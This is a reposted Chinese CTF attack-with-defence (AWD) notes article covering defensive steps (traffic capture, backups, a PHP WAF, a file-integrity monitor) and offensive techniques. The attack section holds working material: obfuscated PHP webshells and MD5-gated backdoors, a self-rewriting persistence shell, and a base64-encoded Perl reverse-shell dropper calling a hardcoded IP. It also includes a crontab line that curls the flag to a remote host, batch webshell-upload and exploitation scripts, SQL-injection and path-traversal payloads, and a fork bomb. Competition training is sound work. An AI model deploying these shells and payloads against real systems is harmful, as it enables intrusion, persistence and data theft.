CTF AWD模式攻防Note

###0x01 AWD模式

Attack With Defence，简而言之就是你既是一个hacker，又是一个manager。
比赛形式：一般就是一个ssh对应一个web服务，然后flag五分钟一轮，各队一般都有自己的初始分数，flag被拿会被拿走flag的队伍均分，主办方会对每个队伍的服务进行check，check不过就扣分，扣除的分值由服务check正常的队伍均分。

###0x02 出题思路

####1:题目类型

1-出题人自己写的cms，为了恶心然后加个so。

2-常见或者不常见的cms。

3-一些框架漏洞，比如ph师傅挖的CI这种

####2:代码类型

目前来说，国内比赛依旧是php居多，当然也会有一些别的，比如py，lua这种。

####3:题目漏洞类型

1-sqli居多

2-文件包含

3-各种rce

4-文件上传

####4:出题人思路

为了不让你们这群赛棍把题秒了，我直接放个未公开cms的0day把，算了，要不我自己加点东西。诶，等等，这样是不是有点难了，再放几个比较简单的洞把，直接在index.php或者web根目录下放个shell?

####5:拿flag方式

1-是向内网一台机器发送http请求，返回请求中包含flag。

2-是例如/home目录下放置flag文件。

###0x03 防御技巧

1.分析流量

1 2	#在比赛服务器上抓取流量包 sudo tcpdump -s 0 -w flow.pcap port 80

使用scp写个脚本实时将流量包拷贝到本地用wireshark进行分析

2.分析日志

1).weblogger

2).LogForensics 腾讯实验室

# 日志地址
/var/log/apache2/
/usr/local/apache2/logs
/usr/nginx/logs/

3.打包源码&备份数据库

# 打包目录
tar -zcvf archive_name.tar.gz directory_to_compress
# 解包
tar -zxvf archive_name.tar.gz

# 备份指定的多个数据库
mysqldump -u root -p --databases choose test > /tmp/db.sql
# 恢复备份，在mysql终端下执行：
# 命令格式：source FILE_PATH
source ~/db.sql
# 曾经遇到一个备份有问题可以执行下面
mysqldump -u root --all-databases —skip-lock-tables > /tmp/db.sql
# 重置mysql密码
# 方法1：用SET PASSWORD命令  
mysql> set password for 用户名@localhost = password(‘新密码‘);
# 方法2：用mysqladmin 
mysqladmin -u用户名 -p旧密码 password 新密码

4.重置ssh密码

1 2	# ssh登录后执行 passwd

5.部署waf

<?php
//Code By Safe3 
function customError($errno, $errstr, $errfile, $errline)
{ 
 echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
 die();
}
set_error_handler("customError",E_ERROR);
$getfilter="‘|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){  
 
if(is_array($StrFiltValue))
{
    $StrFiltValue=implode($StrFiltValue);
}  
if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){   
        //slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
        print "360websec notice:Illegal operation!";
        exit();
}      
}  
//$ArrPGC=array_merge($_GET,$_POST,$_COOKIE);
foreach($_GET as $key=>$value){ 
    StopAttack($key,$value,$getfilter);
}
foreach($_POST as $key=>$value){ 
    StopAttack($key,$value,$postfilter);
}
foreach($_COOKIE as $key=>$value){ 
    StopAttack($key,$value,$cookiefilter);
}
if (file_exists(‘update360.php‘)) {
    echo "请重命名文件update360.php，防止黑客利用<br/>";
    die();
}
function slog($logs)
{
  $toppath=$_SERVER["DOCUMENT_ROOT"]."/log.htm";
  $Ts=fopen($toppath,"a+");
  fputs($Ts,$logs."\r\n");
  fclose($Ts);
}
?>

使用方法：
(1).将waf.php传到要包含的文件的目录
(2).在页面中加入防护，有两种做法，根据情况二选一即可：
a).在所需要防护的页面加入代码

1	require_once(‘waf.php‘);

就可以做到页面防注入、跨站
如果想整站防注，就在网站的一个公用文件中，如数据库链接文件config.inc.php中！
添加require_once(‘waf.php’);来调用本代码
常用php系统添加文件

PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2   \config\config_global.php
Wordpress   \wp-config.php
Metinfo   \include\head.php

b).在每个文件最前加上代码
在php.ini中找到:

1 2	Automatically add files before or after any PHP document. auto_prepend_file = 360_safe3.php路径;

需要注意的是，部署waf可能会导致服务不可用，需要谨慎部署。

如果不能部署waf我们可以简单的写个apache配置文件来禁止PHP执行

<Directory "/var/www/html/">
Options -ExecCGI -Indexes
AllowOverride None
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
php_flag engine off
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
 deny from all
</FilesMatch>
</Directory>

6.干掉不死马的方式

(1).ps auxww|grep shell.php 找到pid后杀掉进程就可以，你删掉脚本是起不了作用的，因为php执行的时候已经把脚本读进去解释成opcode运行了

(2).重启php等web服务

(3).用一个ignore_user_abort(true)脚本，一直竞争写入（断断续续）。usleep要低于对方不死马设置的值。

(4).创建一个和不死马生成的马一样名字的文件夹。

7.修改curl命令

alias curl=‘echo fuckoff‘  #权限要求较低
# 或者
alias curl=‘python -c "__import__(\"sys\").stdout.write(\"flag{%s}\\n\" % (__import__(\"hashlib\").md5(\"\".join([__import__(\"random\").choice(__import__(\"string\").letters) for i in range(0x10)])).hexdigest()))"‘
chmod -x curl  #权限要求较高
/usr/bin  curl路径

8.用D盾扫描源代码删除后门文件

# 简单的查找后门
find . -name ‘*.php‘ | xargs grep -n ‘eval(‘
find . -name ‘*.php‘ | xargs grep -n ‘assert(‘
find . -name ‘*.php‘ | xargs grep -n ‘system(‘

9.查找常见备份文件

1 2	# 例如bak文件 find / -name "*.bak"

10.重置web的各种登录密码（如果比赛check认为修改密码算down就不要修改了）

11.将uploads等文件夹使用chattr对文件底层属性进行控制。

chattr命令的用法：chattr [ -RVf ] [ -v version ] [ mode ] files…
最关键的是在[mode]部分，[mode]部分是由+-=和[ASacDdIijsTtu]这些字符组合的，这部分是用来控制文件的
属性。
 
+ ：在原有参数设定基础上，追加参数。
- ：在原有参数设定基础上，移除参数。
= ：更新为指定参数设定。
A：文件或目录的 atime (access time)不可被修改(modified), 可以有效预防例如手提电脑磁盘I/O错误的发生。
S：硬盘I/O同步选项，功能类似sync。
a：即append，设定该参数后，只能向文件中添加数据，而不能删除，多用于服务器日志文件安全，只有root才能设定这个属性。
c：即compresse，设定文件是否经压缩后再存储。读取时需要经过自动解压操作。
d：即no dump，设定文件不能成为dump程序的备份目标。
i：设定文件不能被删除、改名、设定链接关系，同时不能写入或新增内容。i参数对于文件 系统的安全设置有很大帮助。
j：即journal，设定此参数使得当通过mount参数：data=ordered 或者 data=writeback 挂 载的文件系统，文件在写入时会先被记录(在journal中)。如果filesystem被设定参数为 data=journal，则该参数自动失效。
s：保密性地删除文件或目录，即硬盘空间被全部收回。
u：与s相反，当设定为u时，数据内容其实还存在磁盘中，可以用于undeletion。
各参数选项中常用到的是a和i。a选项强制只可添加不可删除，多用于日志系统的安全设定。而i是更为严格的安全设定，只有superuser (root) 或具有CAP_LINUX_IMMUTABLE处理能力（标识）的进程能够施加该选项。
 
应用举例：
 
用chattr命令防止系统中某个关键文件被修改：
# chattr +i /etc/resolv.conf

12.部署文件监控，如果发现新上传文件或者文件被修改立即恢复

# -*- coding: utf-8 -*-
# @Author: Nearg1e -- 2016-06-30 10:08:35 --0v0--
# v demo 0.21 修改了备份的webshell会自己坑自己的情况
# todo: windows下不支持中文目录
#use: python file_check.py ./
 
import os
import hashlib
import shutil
import ntpath
import time
 
CWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []
 
 
# 特殊文件路径字符串
Special_path_str = ‘drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82‘
bakstring = ‘bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS‘
logstring = ‘log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD‘
webshellstring = ‘webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD‘
difffile = ‘diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN‘
 
Special_string = ‘drops_log‘  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"
 
# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    ‘bak‘ : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    ‘log‘ : os.path.realpath(os.path.join(spec_base_path, logstring)),
    ‘webshell‘ : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    ‘difffile‘ : os.path.realpath(os.path.join(spec_base_path, difffile)),
}
 
 
def isListLike(value):
    return isinstance(value, (list, tuple, set))
 
 
# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):
 
    if noneToNull and value is None:
        return NULL
 
    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value
 
    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
                except:
                    value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")
 
 
# 目录创建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise
 
 
# 获取当前所有文件路径
def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist
 
 
# 计算机文件MD5值
def calcMD5(filepath):
    try:
        with open(filepath,‘rb‘) as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
    except Exception, e:
        print u‘[!] getmd5_error : ‘ + getUnicode(filepath)
        print getUnicode(e)
        try:
            ORIGIN_FILE_LIST.remove(filepath)
            FILE_MD5_DICT.pop(filepath, None)
        except KeyError, e:
            pass
 
 
# 获取所有文件MD5
def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict
 
 
# 备份所有文件
def backup_file(filelist=[]):
    # if len(os.listdir(Special_path[‘bak‘])) == 0:
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path[‘bak‘])
 
 
if __name__ == ‘__main__‘:
    print u‘---------start------------‘
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 获取所有文件路径，并获取所有文件的MD5，同时备份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
    print u‘[*] pre work end!‘
    while True:
        file_list = getfilelist(CWD)
        # 移除新上传文件
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
        if len(diff_file_list) != 0:
            # import pdb;pdb.set_trace()
            for filepath in diff_file_list:
                try:
                    f = open(filepath, ‘r‘).read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u‘[*] webshell find : ‘ + getUnicode(filepath)
                        shutil.move(filepath, os.path.join(Special_path[‘webshell‘], ntpath.basename(filepath) + ‘.txt‘))
                    except Exception as e:
                        print u‘[!] move webshell error, "%s" maybe is webshell.‘%getUnicode(filepath)
                    try:
                        f = open(os.path.join(Special_path[‘log‘], ‘log.txt‘), ‘a‘)
                        f.write(‘newfile: ‘ + getUnicode(filepath) + ‘ : ‘ + str(time.ctime()) + ‘\n‘)
                        f.close()
                    except Exception as e:
                        print u‘[-] log error : file move error: ‘ + getUnicode(e)
 
        # 防止任意文件被修改,还原被修改文件
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, ‘r‘).read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u‘[*] file had be change : ‘ + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path[‘difffile‘], ntpath.basename(filekey) + ‘.txt‘))
                        shutil.move(os.path.join(Special_path[‘bak‘], ntpath.basename(filekey)), filekey)
                    except Exception as e:
                        print u‘[!] move webshell error, "%s" maybe is webshell.‘%getUnicode(filekey)
                    try:
                        f = open(os.path.join(Special_path[‘log‘], ‘log.txt‘), ‘a‘)
                        f.write(‘diff_file: ‘ + getUnicode(filekey) + ‘ : ‘ + getUnicode(time.ctime()) + ‘\n‘)
                        f.close()
                    except Exception as e:
                        print u‘[-] log error : done_diff: ‘ + getUnicode(filekey)
                        pass
        time.sleep(2)
        # print ‘[*] ‘ + getUnicode(time.ctime())
七、自动提交

0x04 攻击技巧

1.拿到命令执行漏洞后执行crontab

1
2
3

# 参考
# http://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/crontab.html
*/5 * * * * curl 172.16.100.5:9000/submit_flag/ -d ‘flag=‘$(cat /home/web/flag/flag)‘&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY‘

2.注意源码中或者备份文件中是否存在mysql等的弱口令

3.主机发现

# 使用httpscan脚本
./httpscan.py 172.16.0.0/24 –t 10
# masscan
masscan -p 80 172.16.0.0/24
# nmap
nmap –sn 172.16.0.0/24

4.常用的特殊webshell

控制用的一句话木马，最好是需要菜刀配置的，这样做是为了不让别人轻易的利用你的一句话，要不然就只能等着别人用你的脚本捡分。
简单举例：

1	<?php ($_=@$_GET[2]).@$_($_POST[1])?>

连接方式：php?2=assert密码是1。
献上我常用得一句话

<?php
$a=chr(96^5);
$b=chr(57^79);
$c=chr(15^110);
$d=chr(58^86);
$e=‘($_REQUEST[C])‘;
@assert($a.$b.$c.$d.$e);
?>

配置为?b=))99(rhC(tseuqeR+lave

1
2
3

<?php
    $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}[‘n985de9‘];if(isset($s22)){eval($s21($s22));}
?>

配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
连接密码:0（零）

5.权限维持

<?php
    set_time_limit(0);
    ignore_user_abort(true);
 
	$file = ‘.conifg.php‘;
	$shell = "<?php echo system("curl 10.0.0.2"); ?>";
 
    while(true){
        file_put_contents($file, $shell);
        system(‘chmod 777 .demo.php‘);
 
        usleep(50);
        }
?>

tips:.config.php前面使用一个点，能很好的隐藏文件。
想要结束这个进程，除了最暴力的重启apache服务之外，更为优雅的如下:

<?php
while (1) {
	$pid=1234;
	@unlink(‘.config.php‘);
	exec(‘kill -9 $pid‘);
}
?>

先查看进程，查看对应的pid，再执行即可。

素质低的人则会放置一个md5马，比如

<?php
if(md5($_POST[‘pass‘])==‘d8d1a1efe0134e2530f503028a825253‘)
@eval($_POST[‘cmd‘]);
?>

如果素质低的人又很猥琐，像rootrain这种就是。那就是利用header，最后综合起来就是

<?php
echo ‘hello‘;
if(md5($_POST[‘pass‘])==‘d8d1a1efe0134e2530f503028a825253‘)
	if (@$_SERVER[‘HTTP_USER_AGENT‘] == ‘flag‘){
	$test= ‘flag‘;
    header("flag:$test");
}
?>

放进config.php效果最好，因为一般很少人去看这个。

还可以采用反弹shell的方式

<?php 
function which($pr) { 
$path = execute("which $pr"); 
return ($path ? $path : $pr); 
} 
function execute($cfe) { 
$res = ‘‘; 
if ($cfe) { 
if(function_exists(‘exec‘)) { 
@exec($cfe,$res); 
$res = join("\n",$res); 
} elseif(function_exists(‘shell_exec‘)) { 
$res = @shell_exec($cfe); 
} elseif(function_exists(‘system‘)) { 
@ob_start(); 
@system($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(function_exists(‘passthru‘)) { 
@ob_start(); 
@passthru($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(@is_resource($f = @popen($cfe,"r"))) { 
$res = ‘‘; 
while(!@feof($f)) { 
$res .= @fread($f,1024); 
} 
@pclose($f); 
} 
} 
return $res; 
} 
function cf($fname,$text){ 
if($fp=@fopen($fname,‘w‘)) { 
@fputs($fp,@base64_decode($text)); 
@fclose($fp); 
} 
} 
$yourip = "192.168.71.1"; 
$yourport = ‘9999‘; 
$usedb = array(‘perl‘=>‘perl‘,‘c‘=>‘c‘); 
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
cf(‘/tmp/.bc‘,$back_connect); 
$res = execute(which(‘perl‘)." /tmp/.bc $yourip $yourport &"); 
?>

之后本地执行nc -lp 9999即可

6.获取flag的方式

(1) 批量传webshell(shell的内容可以写为权限维持部分的那个脚本)，之后结合批量访问参考PHP-定时任务

# 参考 http://www.freebuf.com/sectool/91082.html
#!/usr/bin/python  
#coding=utf-8  
 
import urllib  
import urllib2
import sys
import base64
import re
 
def post(url, data):  
    req = urllib2.Request(url)  
    data = urllib.urlencode(data)   
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())  
    response = opener.open(req, data)  
    return response.read()  
 
def get_shell_path(posturl,passwd):
    shell_path = ""
    try:
        data = {}
        data[passwd] = ‘@eval(base64_decode($_POST[z0]));‘
        data[‘z0‘]=‘ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107‘
        shell_path = post(posturl, data).strip()
    except Exception:
        pass
    return shell_path
 
def main():
    print ‘\n+++++++++Batch Uploading Local File (Only for PHP webshell)++++++++++\n‘
    shellfile = sys.argv[1] # 存放webshell路径和密码的文件
    localfile = sys.argv[2] # 本地待上传的文件名
    shell_file = open(shellfile,‘rb‘)
    local_content = str(open(localfile,‘rb‘).read())
    for eachline in shell_file:
        posturl = eachline.split(‘,‘)[0].strip()
        passwd = eachline.split(‘,‘)[1].strip()
        try:
            reg = ".*/([^/]*\.php?)"
            match_shell_name = re.search(reg,eachline)
            if match_shell_name:
                shell_name=match_shell_name.group(1)
                shell_path = get_shell_path(posturl,passwd).strip()
                target_path = shell_path.split(shell_name)[0]+localfile
                target_path_base64 = base64.b64encode(target_path)
                target_file_url = eachline.split(shell_name)[0]+localfile
                data = {}
                data[passwd] = ‘@eval(base64_decode($_POST[z0]));‘
                data[‘z0‘]=‘QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7‘
                data[‘z1‘]=target_path_base64
                data[‘z2‘]=base64.b64encode(local_content)
                response = post(posturl, data)
                if response:
                    print ‘[+] ‘+target_file_url+‘, upload succeed!‘
                else:
                    print ‘[-] ‘+target_file_url+‘, upload failed!‘
            else:
                print ‘[-] ‘+posturl+‘, unsupported webshell!‘
        except Exception,e:
            print ‘[-] ‘+posturl+‘, connection failed!‘
    shell_file.close()
 
if __name__ == ‘__main__‘:  
    main()

(2) 或者直接执行下面的脚本

#!/bin/bash
while true
do
	flag=$(curl ‘http://172.16.4.42:800‘)
	curl --cookie "PHPSESSID=21il7pum6i3781pumljhv578c1; xdgame_username=%E5%B0%8F%E7%BA%A2%E5%B8%BD" --data "key="${flag} "http://172.16.4.42/index.php/wargame/submit"
	sleep 1s
done

(3) 有些SQL注入漏洞可以通过sqlmap利用—sql-shell 执行select load_file(‘/flag‘)来获取flag。最好直接利用脚本来获得。

def sqli(host):
    global sess_admin
    data = {"section_name":"asd","admin_name":"‘||(SELECT updatexml(1,concat(0x7e,(select load_file(‘/flag‘)),0x7e),1))||‘","announcement":"asd"}
    r = sess_admin.post(‘http://%s/index.php/section/add‘%host,data=data)
    flags = re.findall(r‘~(.+?)~‘,r.content)
    if flags:
        return flags[0]
    else:
        return "error pwn!"

(4) 文件包含漏洞，直接可以通过../../../../../../flag的方式获取

def include(host):
    r = requests.get(url="http://%s/?t=../../../../../../flag"%host)
    flags = re.findall(r‘^(.+?)<‘,r.content)
    if flags:
        return flags[0]
    else:
        return "error pwn!"

(5)批量提交flag的脚本

#!/usr/bin/env python2
import sys
import json
import urllib
import httplib
server_host = ‘10.10.0.2‘
server_port = 80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
    if not team_token or not flag:
        raise Exception(‘team token or flag not found‘)
    conn = httplib.HTTPConnection(host, port, timeout=timeout)
    params = urllib.urlencode({
        ‘token‘: team_token,
        ‘flag‘: flag,
    })
    headers = {
        "Content-type": "application/x-www-form-urlencoded"
    }
    conn.request(‘POST‘, ‘/api/submit_flag‘, params, headers)
    response = conn.getresponse()
    data = response.read()
    return json.loads(data)
 
if __name__ == ‘__main__‘:
    if len(sys.argv) < 3:
        print ‘usage: ./submitflag.py $team_token $flag‘
        sys.exit()
    host = server_host
    if len(sys.argv) > 3:
        host = sys.argv[3]
    print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)

7.批量修改ssh密码的脚本(猥琐流直接干掉几个对手)

8.如果有发现有预留后门，要立即使用脚本进行获取flag

#coding=utf-8
import requests
url="http://192.168.71."
url1=""
shell="/Upload/index.php"
passwd="abcde10db05bd4f6a24c94d7edde441d18545" 
port="80"
payload = {passwd: ‘system(\‘cat /flag\‘);‘}
f=open("webshelllist.txt","w") 
f1=open("firstround_flag.txt","w")
for i in [51,52,53,11,12,13,21,22,23,31,32,33,41,42,43,71,72,73,81,82,83]: 
    url1=url+str(i)+":"+port+shell
    try:
        res=requests.post(url1,payload,timeout=1)
        if res.status_code == requests.codes.ok:
            print url1+" connect shell sucess,flag is "+res.text
            print >>f1,url1+" connect shell sucess,flag is "+res.text
            print >>f,url1+","+passwd
        else:
            print "shell 404"
    except:
        print url1+" connect shell fail"
 
f.close()
f1.close()

9.自写敏感功能。主办方可能已经把CMS本身的漏洞补全了，并自写了一些敏感功能，如上传、包含界面..，这时候需要自己手动去发现（利用seay代码审计工具可快速定位、ls -t按修改时间来看最新被修改的文件），分析，删除，利用。

10.fork炸弹

1 2	# 参考: https://linux.cn/article-5685-1-rss.html :(){:\|:&};:

0x05 参考

转载自：http://zeroyu.xyz/2018/05/24/ctf-awd-note/